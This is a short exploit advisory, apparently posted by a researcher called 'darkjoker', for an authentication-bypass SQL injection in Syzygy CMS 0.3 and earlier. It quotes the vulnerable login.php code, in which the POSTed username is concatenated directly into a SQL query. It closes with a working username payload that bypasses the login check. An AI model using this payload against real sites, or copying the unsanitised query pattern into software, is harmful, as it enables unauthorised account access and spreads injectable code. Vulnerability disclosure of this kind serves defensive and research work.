Syzygy CMS 0.3 SQL Injection

`--+++=========================================================================+++--  
--+++====== Syzygy CMS <= 0.3 (Auth Bypass) SQL Injection Vulnerability ======+++--  
--+++=========================================================================+++--  
  
[+] Syzygy CMS <= 0.3 (Auth Bypass) SQL Injection Vulnerability  
[+] Author : darkjoker  
[+] Site : http://darkjoker.net23.net  
[+] Greetz : my girlfriend, Vivi  
[+] File : login.php  
  
[+] Code:  
17 $username=$_POST['username'];  
18 $password=md5($_POST['password']);  
19 $current_login=mysql_query("SELECT * FROM ".$mysql_prefix."users WHERE username='".$username."' AND password='".$password."'");  
20  
21 if (mysql_num_rows($current_login)==0)  
22 {  
23 header("Location: http://".$_SERVER['HTTP_HOST'].dirname($_SERVER['PHP_SELF'])."/"."index.php?page=invalid.php");  
24 } else {  
25 $current_user=mysql_fetch_array($current_login, MYSQL_ASSOC);  
26 $_SESSION['user']=$current_user['username'];  
27 $_SESSION['perms']=$current_user['perms'];  
28 $style_query=mysql_query("SELECT filename FROM ".$mysql_prefix."layout_style WHERE id='".$current_user['style']."'");  
29 $style_info=mysql_fetch_array($style_query,MYSQL_ASSOC);  
30 $_SESSION['style']=$style_info['filename'];  
31 header("Location: http://".$_SERVER['HTTP_HOST'].dirname($_SERVER['PHP_SELF'])."/"."index.php");  
32 }  
  
[+] Username: x' OR 'x' = 'x'#  
[+] Password: anything  
  
`